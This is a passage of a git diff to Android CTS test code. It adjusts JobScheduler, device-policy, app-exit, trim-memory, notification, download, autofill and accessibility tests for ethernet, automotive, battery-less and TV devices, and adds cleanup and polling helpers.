-     * Tests that {@link Intent.ACTION_LOCKED_BOOT_COMPLETED} broadcast was sent.
-     */
-    @Test
-    public void testVerifyReceivedLockedBootCompletedBroadcast() throws Exception {
-        waitForBroadcast(Intent.ACTION_LOCKED_BOOT_COMPLETED, LOCKED_BOOT_TIMEOUT);
-    }
-
-    /**
-     * Tests that {@link Intent.ACTION_BOOT_COMPLETED} broadcast was sent.
-     */
-    @Test
-    public void testVerifyReceivedBootCompletedBroadcast() throws Exception {
-        waitForBroadcast(Intent.ACTION_BOOT_COMPLETED, BOOT_TIMEOUT);
-    }
-
-    private void waitForBroadcast(String intent, Duration timeout) throws Exception {
-        TestUtils.waitUntil(
-                "Didn't receive broadcast " + intent + " in " + timeout,
-                (int) timeout.getSeconds(),
-                () -> queryBroadcast(intent));
-    }
-
-    private boolean queryBroadcast(String intent) {
-        Uri uri = Uri.parse("content://com.android.cts.userspacereboot.basic/files/"
-                + intent.toLowerCase());
-        Cursor cursor = mDeContext.getContentResolver().query(uri, null, null, null, null);
-        if (cursor == null) {
-            return false;
-        }
-        if (!cursor.moveToFirst()) {
-            Log.w(TAG, "Broadcast: " + intent + " cursor is empty");
-            return false;
-        }
-        String column = intent.equals(Intent.ACTION_LOCKED_BOOT_COMPLETED)
-                ? "locked_boot_completed"
-                : "boot_completed";
-        int index = cursor.getColumnIndex(column);
-        return cursor.getInt(index) == 1;
-    }
-}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
index cbb84c1..b440d83 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/ConnectivityConstraintTest.java
@@ -18,6 +18,7 @@
 import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_VALIDATED;
 import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
+import static android.net.NetworkCapabilities.TRANSPORT_ETHERNET;
 import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
 
 import static com.android.compatibility.common.util.TestUtils.waitUntil;
@@ -87,6 +88,8 @@
     private boolean mHasWifi;
     /** Whether the device running these tests supports telephony. */
     private boolean mHasTelephony;
+    /** Whether the device running these tests supports ethernet. */
+    private boolean mHasEthernet;
     /** Track whether WiFi was enabled in case we turn it off. */
     private boolean mInitialWiFiState;
     /** Track initial WiFi metered state. */
@@ -113,6 +116,7 @@
         PackageManager packageManager = mContext.getPackageManager();
         mHasWifi = packageManager.hasSystemFeature(PackageManager.FEATURE_WIFI);
         mHasTelephony = packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+        mHasEthernet = packageManager.hasSystemFeature(PackageManager.FEATURE_ETHERNET);
         mBuilder = new JobInfo.Builder(CONNECTIVITY_JOB_ID, kJobServiceComponent);
 
         if (mHasWifi) {
@@ -267,6 +271,10 @@
      * on a metered wifi connection.
      */
     public void testConnectivityConstraintExecutes_withMeteredWifi() throws Exception {
+        if (hasEthernetConnection()) {
+            Log.d(TAG, "Skipping test since ethernet is connected.");
+            return;
+        }
         if (!mHasWifi) {
             return;
         }
@@ -338,6 +346,10 @@
      * on a mobile data connection.
      */
     public void testConnectivityConstraintExecutes_metered_Wifi() throws Exception {
+        if (hasEthernetConnection()) {
+            Log.d(TAG, "Skipping test since ethernet is connected.");
+            return;
+        }
         if (!mHasWifi) {
             return;
         }
@@ -360,6 +372,10 @@
      * is in the foreground.
      */
     public void testCellularConstraintExecutedAndStopped_Foreground() throws Exception {
+        if (hasEthernetConnection()) {
+            Log.d(TAG, "Skipping test since ethernet is connected.");
+            return;
+        }
         if (mHasWifi) {
             setWifiMeteredState(true);
         } else if (checkDeviceSupportsMobileData()) {
@@ -395,6 +411,11 @@
             Log.d(TAG, "App standby not enabled");
             return;
         }
+        // We're skipping this test because we can't make the ethernet connection metered.
+        if (hasEthernetConnection()) {
+            Log.d(TAG, "Skipping test since ethernet is connected.");
+            return;
+        }
         if (mHasWifi) {
             setWifiMeteredState(true);
         } else if (checkDeviceSupportsMobileData()) {
@@ -460,6 +481,10 @@
      * when Data Saver is on and the device is not connected to WiFi.
      */
     public void testFgExpeditedJobBypassesDataSaver() throws Exception {
+        if (hasEthernetConnection()) {
+            Log.d(TAG, "Skipping test since ethernet is connected.");
+            return;
+        }
         if (mHasWifi) {
             setWifiMeteredState(true);
         } else if (checkDeviceSupportsMobileData()) {
@@ -574,20 +599,22 @@
                         .getNetworkCapabilities(params.getNetwork());
         assertTrue(nr.canBeSatisfiedBy(capabilities));
 
-        // Deadline passed with no network satisfied.
-        setAirplaneMode(true);
-        ji = mBuilder
-                .setRequiredNetwork(nr)
-                .setOverrideDeadline(0)
-                .build();
+        if (!hasEthernetConnection()) {
+            // Deadline passed with no network satisfied.
+            setAirplaneMode(true);
+            ji = mBuilder
+                    .setRequiredNetwork(nr)
+                    .setOverrideDeadline(0)
+                    .build();
 
-        kTestEnvironment.setExpectedExecutions(1);
-        mJobScheduler.schedule(ji);
-        runSatisfiedJob(CONNECTIVITY_JOB_ID);
-        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+            kTestEnvironment.setExpectedExecutions(1);
+            mJobScheduler.schedule(ji);
+            runSatisfiedJob(CONNECTIVITY_JOB_ID);
+            assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
 
-        params = kTestEnvironment.getLastStartJobParameters();
-        assertNull(params.getNetwork());
+            params = kTestEnvironment.getLastStartJobParameters();
+            assertNull(params.getNetwork());
+        }
 
         // No network requested
         setAirplaneMode(false);
@@ -701,6 +728,10 @@
      * the device is connected to a metered WiFi provider.
      */
     public void testUnmeteredConstraintFails_withMeteredWiFi() throws Exception {
+        if (hasEthernetConnection()) {
+            Log.d(TAG, "Skipping test since ethernet is connected.");
+            return;
+        }
         if (!mHasWifi) {
             Log.d(TAG, "Skipping test that requires the device be WiFi enabled.");
             return;
@@ -746,6 +777,10 @@
      * when Data Saver is on and the device is not connected to WiFi.
      */
     public void testBgExpeditedJobDoesNotBypassDataSaver() throws Exception {
+        if (hasEthernetConnection()) {
+            Log.d(TAG, "Skipping test since ethernet is connected.");
+            return;
+        }
         if (mHasWifi) {
             setWifiMeteredState(true);
         } else if (checkDeviceSupportsMobileData()) {
@@ -832,6 +867,18 @@
         return false;
     }
 
+    private boolean hasEthernetConnection() {
+        if (!mHasEthernet) return false;
+        Network[] networks = mCm.getAllNetworks();
+        for (Network network : networks) {
+            if (mCm.getNetworkCapabilities(network)
+                    .hasTransport(NetworkCapabilities.TRANSPORT_ETHERNET)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
     private String unquoteSSID(String ssid) {
         // SSID is returned surrounded by quotes if it can be decoded as UTF-8.
         // Otherwise it's guaranteed not to start with a quote.
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
index 4909ce2..c2dfa24 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
@@ -122,7 +122,7 @@
                                 + " " + JOB_ID));
 
         // In automotive device, always-on screen and endless battery charging are assumed.
-        if (!isAutomotiveDevice()) {
+        if (BatteryUtils.hasBattery() && !isAutomotiveDevice()) {
             BatteryUtils.runDumpsysBatterySetLevel(100);
             BatteryUtils.runDumpsysBatteryUnplug();
             verifyStopReason(new JobInfo.Builder(JOB_ID, kJobServiceComponent)
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedHierarchyTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedHierarchyTest.java
index 4d84a73..b6061ea 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedHierarchyTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEmbeddedHierarchyTest.java
@@ -18,10 +18,12 @@
 
 import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
 import static android.accessibilityservice.cts.utils.AsyncUtils.DEFAULT_TIMEOUT_MS;
+import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 
 import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibilityservice.AccessibilityServiceInfo;
@@ -105,6 +107,13 @@
         mActivity.waitForEmbeddedHierarchy();
     }
 
+    @Before
+    public void assumeNoAutomotive() {
+        // TODO(b/200620676) STOPSHIP Fix accessibility issue and remove assumeNoAutomotive()
+        assumeFalse("automotive build", sInstrumentation.getTargetContext().getPackageManager()
+                .hasSystemFeature(FEATURE_AUTOMOTIVE));
+    }
+
     @Test
     public void testEmbeddedViewCanBeFound() {
         final AccessibilityNodeInfo target =
diff --git a/tests/admin/Android.bp b/tests/admin/Android.bp
index 9ad006e..3c2c59a 100644
--- a/tests/admin/Android.bp
+++ b/tests/admin/Android.bp
@@ -25,6 +25,7 @@
         "mockito-target-minus-junit4",
         "truth-prebuilt",
         "testng",
+        "Nene",
     ],
     libs: [
         "android.test.runner",
diff --git a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
index c0b30b7..ef5c0691 100644
--- a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
+++ b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
@@ -41,6 +41,9 @@
 import android.test.suitebuilder.annotation.Suppress;
 import android.util.Log;
 
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.bedstead.nene.utils.ShellCommandUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
 import java.io.ByteArrayInputStream;
@@ -105,14 +108,6 @@
                 mPackageManager.hasSystemFeature(PackageManager.FEATURE_SECURE_LOCK_SCREEN);
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        SystemUtil.runShellCommand(
-                "dpm set-profile-owner --user cur "
-                        + DeviceAdminInfoTest.getProfileOwnerComponent().flattenToString());
-    }
-
     public void testGetActiveAdmins() {
         if (!mDeviceAdmin) {
             Log.w(TAG, "Skipping testGetActiveAdmins");
@@ -124,7 +119,7 @@
         assertTrue(mDevicePolicyManager.isAdminActive(mComponent));
     }
 
-    public void testSetGetPreferentialNetworkServiceEnabled() {
+    public void testSetGetPreferentialNetworkServiceEnabled() throws Exception {
         if (!mDeviceAdmin) {
             Log.w(TAG, "Skipping testSetGetPreferentialNetworkServiceEnabled");
             return;
@@ -137,7 +132,11 @@
                     () -> mDevicePolicyManager.isPreferentialNetworkServiceEnabled());
         }  catch (SecurityException se) {
             Log.w(TAG, "Test is not a profile owner and there is no need to clear.");
+        } finally {
+            setProfileOwnerAndWaitForSuccess(
+                    DeviceAdminInfoTest.getProfileOwnerComponent().flattenToString());
         }
+
     }
 
     public void testKeyguardDisabledFeatures() {
@@ -1184,7 +1183,8 @@
         }
     }
 
-    public void testSetNearbyNotificationStreamingPolicy_failIfNotDeviceOrProfileOwner() {
+    public void testSetNearbyNotificationStreamingPolicy_failIfNotDeviceOrProfileOwner()
+            throws Exception {
         if (!mDeviceAdmin) {
             String message =
                     "Skipping"
@@ -1192,15 +1192,21 @@
             Log.w(TAG, message);
             return;
         }
-        mDevicePolicyManager.clearProfileOwner(DeviceAdminInfoTest.getProfileOwnerComponent());
-        assertThrows(
-                SecurityException.class,
-                () ->
-                        mDevicePolicyManager.setNearbyNotificationStreamingPolicy(
-                                DevicePolicyManager.NEARBY_STREAMING_ENABLED));
+        try {
+            tryClearProfileOwner();
+            assertThrows(
+                    SecurityException.class,
+                    () ->
+                            mDevicePolicyManager.setNearbyNotificationStreamingPolicy(
+                                    DevicePolicyManager.NEARBY_STREAMING_ENABLED));
+        } finally {
+            setProfileOwnerAndWaitForSuccess(
+                    DeviceAdminInfoTest.getProfileOwnerComponent().flattenToString());
+        }
     }
 
-    public void testGetNearbyNotificationStreamingPolicy_failIfNotDeviceOrProfileOwner() {
+    public void testGetNearbyNotificationStreamingPolicy_failIfNotDeviceOrProfileOwner()
+            throws Exception {
         if (!mDeviceAdmin) {
             String message =
                     "Skipping"
@@ -1208,36 +1214,69 @@
             Log.w(TAG, message);
             return;
         }
-        mDevicePolicyManager.clearProfileOwner(DeviceAdminInfoTest.getProfileOwnerComponent());
-        assertThrows(
-                SecurityException.class,
-                () -> mDevicePolicyManager.getNearbyNotificationStreamingPolicy());
+        try {
+            tryClearProfileOwner();
+            assertThrows(
+                    SecurityException.class,
+                    () -> mDevicePolicyManager.getNearbyNotificationStreamingPolicy());
+        } finally {
+            setProfileOwnerAndWaitForSuccess(
+                    DeviceAdminInfoTest.getProfileOwnerComponent().flattenToString());
+        }
     }
 
-    public void testSetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner() {
+    public void testSetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner() throws Exception {
         if (!mDeviceAdmin) {
             String message =
                     "Skipping testSetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner";
             Log.w(TAG, message);
             return;
         }
-        mDevicePolicyManager.clearProfileOwner(DeviceAdminInfoTest.getProfileOwnerComponent());
-        assertThrows(
-                SecurityException.class,
-                () ->
-                        mDevicePolicyManager.setNearbyAppStreamingPolicy(
-                                DevicePolicyManager.NEARBY_STREAMING_ENABLED));
+        try {
+            tryClearProfileOwner();
+            assertThrows(
+                    SecurityException.class,
+                    () ->
+                            mDevicePolicyManager.setNearbyAppStreamingPolicy(
+                                    DevicePolicyManager.NEARBY_STREAMING_ENABLED));
+        } finally {
+            setProfileOwnerAndWaitForSuccess(
+                    DeviceAdminInfoTest.getProfileOwnerComponent().flattenToString());
+        }
     }
 
-    public void testGetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner() {
+    public void testGetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner() throws Exception {
         if (!mDeviceAdmin) {
             String message =
                     "Skipping testGetNearbyAppStreamingPolicy_failIfNotDeviceOrProfileOwner";
             Log.w(TAG, message);
             return;
         }
-        mDevicePolicyManager.clearProfileOwner(DeviceAdminInfoTest.getProfileOwnerComponent());
-        assertThrows(
-                SecurityException.class, () -> mDevicePolicyManager.getNearbyAppStreamingPolicy());
+        try {
+            tryClearProfileOwner();
+            assertThrows(
+                    SecurityException.class,
+                    () -> mDevicePolicyManager.getNearbyAppStreamingPolicy());
+        } finally {
+            setProfileOwnerAndWaitForSuccess(
+                    DeviceAdminInfoTest.getProfileOwnerComponent().flattenToString());
+        }
+    }
+
+    private void setProfileOwnerAndWaitForSuccess(String componentName)
+            throws InterruptedException, AdbException {
+        ShellCommand.builder("dpm set-profile-owner")
+            .addOperand("--user cur")
+            .addOperand(componentName)
+            .validate(ShellCommandUtils::startsWithSuccess)
+            .executeUntilValid();
+    }
+
+    private void tryClearProfileOwner() {
+        try {
+            mDevicePolicyManager.clearProfileOwner(DeviceAdminInfoTest.getProfileOwnerComponent());
+        } catch (SecurityException se) {
+            Log.w(TAG, "Test is not a profile owner and there is no need to clear.");
+        }
     }
 }
diff --git a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
index db74563..27378c3 100644
--- a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
+++ b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
@@ -55,6 +55,7 @@
 import android.util.Pair;
 
 import com.android.compatibility.common.util.AmMonitor;
+import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 import com.android.internal.util.ArrayUtils;
@@ -103,6 +104,8 @@
     private static final int EXIT_CODE = 123;
     private static final int CRASH_SIGNAL = OsConstants.SIGSEGV;
 
+    private static final int TOMBSTONE_FETCH_TIMEOUT_MS = 10_000;
+
     private static final int WAITFOR_MSEC = 10000;
     private static final int WAITFOR_SETTLE_DOWN = 2000;
 
@@ -840,17 +843,11 @@
         verify(list.get(0), mStubPackagePid, mStubPackageUid, STUB_PACKAGE_NAME,
                 ApplicationExitInfo.REASON_CRASH_NATIVE, null, null, now, now2);
 
-        InputStream trace = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                list.get(0),
-                (i) -> {
-                    try {
-                        return i.getTraceInputStream();
-                    } catch (IOException ex) {
-                        return null;
-                    }
-                },
-                android.Manifest.permission.DUMP);
+        TombstoneFetcher tombstoneFetcher = new TombstoneFetcher(list.get(0));
+        PollingCheck.check("not able to get tombstone", TOMBSTONE_FETCH_TIMEOUT_MS,
+                () -> tombstoneFetcher.fetchTrace());
 
+        InputStream trace = tombstoneFetcher.getTrace();
         assertNotNull(trace);
         Tombstone tombstone = Tombstone.parseFrom(trace);
         assertEquals(tombstone.getPid(), mStubPackagePid);
@@ -1242,4 +1239,31 @@
         assertTrue(ArrayUtils.equals(info.getProcessStateSummary(), cookie,
                 cookie == null ? 0 : cookie.length));
     }
+
+    private static class TombstoneFetcher {
+        private InputStream mTrace = null;
+        private final ApplicationExitInfo mExitInfo;
+
+        TombstoneFetcher(ApplicationExitInfo exitInfo) {
+            mExitInfo = exitInfo;
+        }
+
+        public InputStream getTrace() {
+            return mTrace;
+        }
+
+        public boolean fetchTrace() throws Exception {
+            mTrace = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mExitInfo,
+                    (i) -> {
+                        try {
+                            return i.getTraceInputStream();
+                        } catch (IOException ex) {
+                            return null;
+                        }
+                    },
+                    android.Manifest.permission.DUMP);
+            return (mTrace != null);
+        }
+    }
 }
diff --git a/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt b/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt
index 3d48dcc..6b84cd3 100644
--- a/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt
+++ b/tests/app/shared/src/android/app/cts/NotificationTemplateTestBase.kt
@@ -68,8 +68,16 @@
     }
 
     protected fun createBitmap(width: Int, height: Int): Bitmap =
-            Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888).also {
-                it.eraseColor(Color.GRAY)
+            Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888).apply {
+                // IMPORTANT: Pass current DisplayMetrics when creating a Bitmap, so that it
+                // receives the correct density. Otherwise, the Bitmap may get the default density
+                // (DisplayMetrics.DENSITY_DEVICE), which in some cases (eg. for apps running in
+                // compat mode) may be different from the actual density the app is rendered with.
+                // This would lead to the Bitmap eventually being rendered with different sizes,
+                // than the ones passed here.
+                density = context.resources.displayMetrics.densityDpi
+
+                eraseColor(Color.GRAY)
             }
 
     protected fun makeCustomContent(): RemoteViews {
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index 4b6ce27..54eae98 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -89,6 +89,7 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
+import java.util.function.Consumer;
 import java.util.function.Predicate;
 import java.util.function.Supplier;
 
@@ -1312,8 +1313,12 @@
         final WatchUidRunner watcher3 = new WatchUidRunner(mInstrumentation, ai3.uid, waitForSec);
 
         final CountDownLatch[] latchHolder = new CountDownLatch[1];
-        final int[] levelHolder = new int[1];
-        final Bundle extras = initWaitingForTrimLevel(latchHolder, levelHolder);
+        final int[] expectedLevel = new int[1];
+        final Bundle extras = initWaitingForTrimLevel(level -> {
+            if (level == expectedLevel[0]) {
+                latchHolder[0].countDown();
+            }
+        });
         try {
             // Make sure we could start activity from background
             SystemUtil.runShellCommand(mInstrumentation,
@@ -1326,6 +1331,7 @@
             toggleScreenOn(true);
 
             latchHolder[0] = new CountDownLatch(1);
+            expectedLevel[0] = TRIM_MEMORY_RUNNING_MODERATE;
 
             // Start an activity
             CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY,
@@ -1337,54 +1343,63 @@
             SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set MODERATE");
             assertTrue("Failed to wait for the trim memory event",
                     latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
-            assertEquals(TRIM_MEMORY_RUNNING_MODERATE, levelHolder[0]);
 
             latchHolder[0] = new CountDownLatch(1);
+            expectedLevel[0] = TRIM_MEMORY_RUNNING_LOW;
             // Force the memory pressure to low
             SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set LOW");
             assertTrue("Failed to wait for the trim memory event",
                     latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
-            assertEquals(TRIM_MEMORY_RUNNING_LOW, levelHolder[0]);
 
             latchHolder[0] = new CountDownLatch(1);
+            expectedLevel[0] = TRIM_MEMORY_RUNNING_CRITICAL;
             // Force the memory pressure to critical
             SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set CRITICAL");
             assertTrue("Failed to wait for the trim memory event",
                     latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
-            assertEquals(TRIM_MEMORY_RUNNING_CRITICAL, levelHolder[0]);
+
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_SERVICE,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, LocalForegroundService.newCommand(
+                    LocalForegroundService.COMMAND_START_NO_FOREGROUND));
 
             // Reset the memory pressure override
             SystemUtil.runShellCommand(mInstrumentation, "am memory-factor reset");
 
             latchHolder[0] = new CountDownLatch(1);
+            expectedLevel[0] = TRIM_MEMORY_UI_HIDDEN;
             // Start another activity in package2
             CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
             watcher2.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
+            watcher1.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_SERVICE, null);
             assertTrue("Failed to wait for the trim memory event",
                     latchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
-            assertEquals(TRIM_MEMORY_UI_HIDDEN, levelHolder[0]);
 
             // Start the heavy weight activity
             final Intent intent = new Intent();
             final CountDownLatch[] heavyLatchHolder = new CountDownLatch[1];
-            final int[] heavyLevelHolder = new int[1];
+            final Predicate[] testFunc = new Predicate[1];
 
             intent.setPackage(CANT_SAVE_STATE_1_PACKAGE_NAME);
             intent.setAction(Intent.ACTION_MAIN);
             intent.addCategory(Intent.CATEGORY_LAUNCHER);
             intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            intent.putExtras(initWaitingForTrimLevel(heavyLatchHolder, heavyLevelHolder));
+            intent.putExtras(initWaitingForTrimLevel(level -> {
+                if (testFunc[0].test(level)) {
+                    heavyLatchHolder[0].countDown();
+                }
+            }));
 
             mTargetContext.startActivity(intent);
             watcher3.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
 
             heavyLatchHolder[0] = new CountDownLatch(1);
+            testFunc[0] = level -> TRIM_MEMORY_RUNNING_MODERATE <= (int) level
+                    && TRIM_MEMORY_RUNNING_CRITICAL >= (int) level;
             // Force the memory pressure to moderate
             SystemUtil.runShellCommand(mInstrumentation, "am memory-factor set MODERATE");
             assertTrue("Failed to wait for the trim memory event",
                     heavyLatchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
-            assertEquals(TRIM_MEMORY_RUNNING_MODERATE, heavyLevelHolder[0]);
 
             // Now go home
             final Intent homeIntent = new Intent();
@@ -1393,27 +1408,11 @@
             homeIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
 
             heavyLatchHolder[0] = new CountDownLatch(1);
+            testFunc[0] = level -> TRIM_MEMORY_BACKGROUND == (int) level;
             mTargetContext.startActivity(homeIntent);
             assertTrue("Failed to wait for the trim memory event",
                     heavyLatchHolder[0].await(waitForSec, TimeUnit.MILLISECONDS));
-            assertEquals(TRIM_MEMORY_BACKGROUND, heavyLevelHolder[0]);
 
-            // All done, clean up.
-            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_STOP_ACTIVITY,
-                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
-            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_STOP_ACTIVITY,
-                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
-
-            final Intent finishIntent = new Intent();
-            finishIntent.setPackage(CANT_SAVE_STATE_1_PACKAGE_NAME);
-            finishIntent.setAction(ACTION_FINISH);
-            finishIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            finishIntent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
-            mTargetContext.startActivity(finishIntent);
-
-            watcher1.waitFor(WatchUidRunner.CMD_CACHED, null);
-            watcher2.waitFor(WatchUidRunner.CMD_CACHED, null);
-            watcher3.waitFor(WatchUidRunner.CMD_CACHED, null);
         } finally {
             SystemUtil.runShellCommand(mInstrumentation,
                     "cmd deviceidle whitelist -" + PACKAGE_NAME_APP1);
@@ -1682,16 +1681,15 @@
         return lru;
     }
 
-    private Bundle initWaitingForTrimLevel(
-            final CountDownLatch[] latchHolder, final int[] levelHolder) {
+    private Bundle initWaitingForTrimLevel(final Consumer<Integer> checker) {
         final IBinder binder = new Binder() {
             @Override
             protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
                     throws RemoteException {
                 switch (code) {
                     case IBinder.FIRST_CALL_TRANSACTION:
-                        levelHolder[0] = data.readInt();
-                        latchHolder[0].countDown();
+                        final int level = data.readInt();
+                        checker.accept(level);
                         return true;
                     default:
                         return false;
diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java
index 0bb5aa2..2120687 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTest.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTest.java
@@ -24,6 +24,7 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeFalse;
 
 import android.app.DownloadManager;
 import android.app.DownloadManager.Query;
@@ -697,6 +698,8 @@
 
     @Test
     public void testDownload_onMediaStoreDownloadsDeleted() throws Exception {
+        assumeFalse(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK));
+
         // prepare file
         File file = new File(Environment.getExternalStoragePublicDirectory(
                 Environment.DIRECTORY_DOWNLOADS), "cts" + System.nanoTime() + ".mp3");
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 67ac550..d53a952 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -119,6 +119,7 @@
 import android.os.RemoteException;
 import android.os.SystemClock;
 import android.os.UserHandle;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.provider.ContactsContract;
 import android.provider.ContactsContract.CommonDataKinds.Email;
 import android.provider.ContactsContract.CommonDataKinds.Phone;
@@ -4255,6 +4256,7 @@
      * This method verifies that an app can't bypass background restrictions by retrieving their own
      * notification and triggering it.
      */
+    @AsbSecurityTest(cveBugId = 185388103)
     public void testActivityStartFromRetrievedNotification_isBlocked() throws Exception {
         deactivateGracePeriod();
         EventCallback callback = new EventCallback();
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index 2c54a4c..2d18509 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -1269,6 +1269,8 @@
         mExpectedServiceState = STATE_START_1;
         startForegroundService(COMMAND_START_FOREGROUND_DEFER_NOTIFICATION);
         waitForResultOrThrow(DELAY, "service to start with deferred notification");
+        // Pause a moment and ensure that the notification has still not appeared
+        waitMillis(1000L);
         assertNoNotification(1);
 
         // Explicitly post a new Notification with the same id, still deferrable
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java
index af44058..745ed17 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java
@@ -363,6 +363,33 @@
     }
 
     /**
+     * Set the EditText input or password value and wait until text change.
+     */
+    public void setTextAndWaitTextChange(String username, String password) throws Exception {
+        expectTextChange(username, password);
+
+        syncRunOnUiThread(() -> {
+            if (username != null) {
+                onUsername((v) -> v.setText(username));
+
+            }
+            if (password != null) {
+                onPassword((v) -> v.setText(password));
+            }
+        });
+
+        assertTextChange();
+    }
+
+    private void expectTextChange(String username, String password) {
+        expectAutoFill(username, password);
+    }
+
+    private void assertTextChange() throws Exception {
+        assertAutoFilled();
+    }
+
+    /**
      * Holder for the expected auto-fill values.
      */
     private final class FillExpectation {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java
